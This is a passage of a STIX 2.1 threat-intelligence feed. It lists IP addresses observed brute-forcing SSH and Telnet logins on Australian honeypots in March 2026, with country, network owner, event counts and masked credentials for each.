      ],
      "modified": "2026-03-12T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '151.67.120.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T06:15:14.000Z",
      "valid_until": "2026-04-13T06:15:11.000Z"
    },
    {
      "created": "2026-03-12T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ. Usernames observed (masked): r**t. Passwords observed (masked): R*******5.",
      "id": "indicator--194c3594-7a75-4682-813a-8e0238dd95e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.32.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T06:15:14.000Z",
      "valid_until": "2026-04-13T06:15:11.000Z"
    },
    {
      "created": "2026-03-12T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24309. Organisation(s): Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA. Usernames observed (masked): r**t. Passwords observed (masked): K******6.",
      "id": "indicator--9cc04749-1365-4a3c-86bb-24f2827c0607",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.207.244.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T06:15:14.000Z",
      "valid_until": "2026-04-13T06:15:11.000Z"
    },
    {
      "created": "2026-03-12T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 39493. Organisation(s): CJSC Kolomna-Sviaz TV.",
      "id": "indicator--7a761852-f30a-4208-a259-d602f3a7c10f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.42.46.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T06:15:14.000Z",
      "valid_until": "2026-04-13T06:15:11.000Z"
    },
    {
      "created": "2026-03-12T07:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--a0c305ee-ac6d-4093-b2b1-cf596e8af7b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.6.179.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T07:15:13.000Z",
      "valid_until": "2026-04-13T07:15:11.000Z"
    },
    {
      "created": "2026-03-12T07:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): G************1, U****************************************************************************************************************************6. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--0e02c810-f945-4b0c-a963-9e6970487d34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.79.181.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T07:15:13.000Z",
      "valid_until": "2026-04-13T07:15:11.000Z"
    },
    {
      "created": "2026-03-12T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--ece9cc9a-82da-44a7-b4f2-3828b7628597",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T08:15:13.000Z",
      "valid_until": "2026-04-13T08:15:12.000Z"
    },
    {
      "created": "2026-03-12T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 421. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, ***, k***n, l*****n, ***. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, I***********************5.",
      "id": "indicator--a3601b3a-edbd-4d57-92ef-625428d45768",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.58.210.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T08:15:13.000Z",
      "valid_until": "2026-04-13T08:15:12.000Z"
    },
    {
      "created": "2026-03-12T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): ***. Passwords observed (masked): ***.",
      "id": "indicator--ac3de328-67c1-4a89-ae42-bb8c381e94a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.127.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T08:15:13.000Z",
      "valid_until": "2026-04-13T08:15:12.000Z"
    },
    {
      "created": "2026-03-12T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V.. Usernames observed (masked): 3**********4, l*****n, ***, y***n, a***n. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, I***********************5.",
      "id": "indicator--bdc3d9f7-ad56-4985-86e5-886abf36e00c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '189.194.140.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T08:15:13.000Z",
      "valid_until": "2026-04-13T08:15:12.000Z"
    },
    {
      "created": "2026-03-12T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): 3**********4, ***, ***, y***n, a***n. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, I***********************5.",
      "id": "indicator--317a7732-095e-444f-ae8d-fe6a5ab4d426",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.123.245.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T08:15:13.000Z",
      "valid_until": "2026-04-13T08:15:12.000Z"
    },
    {
      "created": "2026-03-12T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): 3**********4, l*****n, ***, y***n, a***n. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, I***********************5.",
      "id": "indicator--8e40ff95-164c-47e2-b12c-a9eae8bd165d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.12.41.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T08:15:13.000Z",
      "valid_until": "2026-04-13T08:15:12.000Z"
    },
    {
      "created": "2026-03-12T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 421. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Usernames observed (masked): 3**********4, ***, k***n, l*****n, ***. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, I***********************5.",
      "id": "indicator--07ac6dba-1093-4d2b-a2d4-f9bc0dc40c24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.145.143.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T08:15:13.000Z",
      "valid_until": "2026-04-13T08:15:12.000Z"
    },
    {
      "created": "2026-03-12T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 350. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): 3**********4, ***, k***n, ***, y***n. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, I***********************5.",
      "id": "indicator--a43cffcf-2437-441b-9db7-1fc72408ff87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.97.168.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T08:15:13.000Z",
      "valid_until": "2026-04-13T08:15:12.000Z"
    },
    {
      "created": "2026-03-12T08:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--e2def906-d34f-422b-96b1-ba6b0257312d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.75.149.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T08:15:13.000Z",
      "valid_until": "2026-04-13T08:15:12.000Z"
    },
    {
      "created": "2026-03-12T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 212219. Organisation(s): Hosting Dunyam Bilisim Teknolojileri Ticaret Limited Sirketi. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, 3**********T, a*******a.",
      "id": "indicator--ed525647-fb8f-4e27-b73f-bc628b8d5530",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.74.244.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T08:15:13.000Z",
      "valid_until": "2026-04-13T08:15:12.000Z"
    },
    {
      "created": "2026-03-12T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): 3**********4, ***, n**a, **, f******l. Passwords observed (masked): 3***********4, 3**********4, 1***5, F**********!, S*******3.",
      "id": "indicator--48bc9856-68db-4fbf-a6b3-736fdd7df07c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '79.137.76.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T08:15:13.000Z",
      "valid_until": "2026-04-13T08:15:12.000Z"
    },
    {
      "created": "2026-03-12T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 349. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): 3**********4, **, ***, p******l, r**t. Passwords observed (masked): 3***********4, 3**********4, *, ***, C********6.",
      "id": "indicator--62a39e0b-5f5d-4494-9f6e-cb74d26565b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.143.11.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T09:15:13.000Z",
      "valid_until": "2026-04-13T09:15:11.000Z"
    },
    {
      "created": "2026-03-12T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 349. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131423. Organisation(s): Branch of Long Van System Solution JSC - Hanoi. Usernames observed (masked): 3**********4, **, ***, p******l, r**t. Passwords observed (masked): 3***********4, 3**********4, *, ***, C********6.",
      "id": "indicator--b5be154f-8e67-4928-8e05-0baf34e11d01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.48.84.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T09:15:13.000Z",
      "valid_until": "2026-04-13T09:15:11.000Z"
    },
    {
      "created": "2026-03-12T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 283. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, **, ***, r**t, a****o. Passwords observed (masked): 3***********4, 3**********4, *, ***, C********6.",
      "id": "indicator--c7d84242-6a27-47ae-8646-162c72226af9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.52.114.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T09:15:13.000Z",
      "valid_until": "2026-04-13T09:15:11.000Z"
    },
    {
      "created": "2026-03-12T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1*******9, a***n, p******d.",
      "id": "indicator--5feac165-363c-4ba6-bd0a-fce4dcc671ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.155.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T09:15:13.000Z",
      "valid_until": "2026-04-13T09:15:11.000Z"
    },
    {
      "created": "2026-03-12T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 153. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): ***, r**t, a****o, t**t. Passwords observed (masked): 3***********4, C********6, a********s, ***, t**********8.",
      "id": "indicator--586f369b-95b8-4abf-b4b1-ec57c236457a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '137.131.239.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T09:15:13.000Z",
      "valid_until": "2026-04-13T09:15:11.000Z"
    },
    {
      "created": "2026-03-12T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 104. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262343. Organisation(s): Net Aki Internet Ltda. Usernames observed (masked): r**t, u**r, a****e, e****t, f***k. Passwords observed (masked): 1****6, !******r, !******X, 1****1, 1******8.",
      "id": "indicator--d7311ebd-fc08-46dc-a0c6-aaf9604876a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.126.132.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T09:15:13.000Z",
      "valid_until": "2026-04-13T09:15:11.000Z"
    },
    {
      "created": "2026-03-12T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 201579. Organisation(s): Hostgnome Ltd. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--9d57e7e1-b092-48d9-8424-935f4cf2d943",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.91.69.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T09:15:13.000Z",
      "valid_until": "2026-04-13T09:15:11.000Z"
    },
    {
      "created": "2026-03-12T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, s****a, *, 1**4, **. Passwords observed (masked): 1****6, *, 1**4, 1******8, r******3.",
      "id": "indicator--eabb7954-572a-49e4-80f1-f1b3ff0637a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.55.82.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T09:15:13.000Z",
      "valid_until": "2026-04-13T09:15:11.000Z"
    },
    {
      "created": "2026-03-12T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 349. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): 3**********4, **, ***, p******l, r**t. Passwords observed (masked): 3***********4, 3**********4, *, ***, C********6.",
      "id": "indicator--1028da8a-4771-4143-8822-680d957116aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.79.67.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T09:15:13.000Z",
      "valid_until": "2026-04-13T09:15:11.000Z"
    },
    {
      "created": "2026-03-12T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 18403. Organisation(s): FPT Telecom Company. Usernames observed (masked): j***e. Passwords observed (masked): j*******!.",
      "id": "indicator--07897edb-8789-4cc6-907e-9a8f37dc0542",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '58.186.20.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T09:15:13.000Z",
      "valid_until": "2026-04-13T09:15:11.000Z"
    },
    {
      "created": "2026-03-12T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 135851. Organisation(s): Excogitate Technologies Pvt Ltd. Usernames observed (masked): ***, 3**********4, a****1, c***o, c****e. Passwords observed (masked): 1**4, ***, 3***********4, 3**********4, P*******1.",
      "id": "indicator--354a1a16-8e47-4364-9fc0-e3044ea7d215",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.190.7.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T10:15:14.000Z",
      "valid_until": "2026-04-13T10:15:12.000Z"
    },
    {
      "created": "2026-03-12T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--8effbd6a-6464-4ed2-941e-73d574c67d44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.13.183.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T10:15:14.000Z",
      "valid_until": "2026-04-13T10:15:12.000Z"
    },
    {
      "created": "2026-03-12T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 215114. Organisation(s): Stevan Durand--L'Hours t/a SLBCLOUD. Usernames observed (masked): r**t. Passwords observed (masked): o****a, r**t.",
      "id": "indicator--2723c26a-e70f-49da-8abe-718259864560",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '151.240.30.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T10:15:14.000Z",
      "valid_until": "2026-04-13T10:15:12.000Z"
    },
    {
      "created": "2026-03-12T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6167. Organisation(s): Verizon Business.",
      "id": "indicator--b5a44f11-2e59-4954-b46f-66446bca64af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '166.147.159.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T10:15:14.000Z",
      "valid_until": "2026-04-13T10:15:12.000Z"
    },
    {
      "created": "2026-03-12T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 22773. Organisation(s): Cox Communications Inc..",
      "id": "indicator--0558dfa0-21ed-4d11-ba75-c71ba5c70901",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '184.181.77.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T10:15:14.000Z",
      "valid_until": "2026-04-13T10:15:12.000Z"
    },
    {
      "created": "2026-03-12T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--062e2781-18c6-4e81-ac91-302f66c55238",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.64.105.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T10:15:14.000Z",
      "valid_until": "2026-04-13T10:15:12.000Z"
    },
    {
      "created": "2026-03-12T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U****************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--22365f69-1d12-48f5-ada1-099ff02833b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
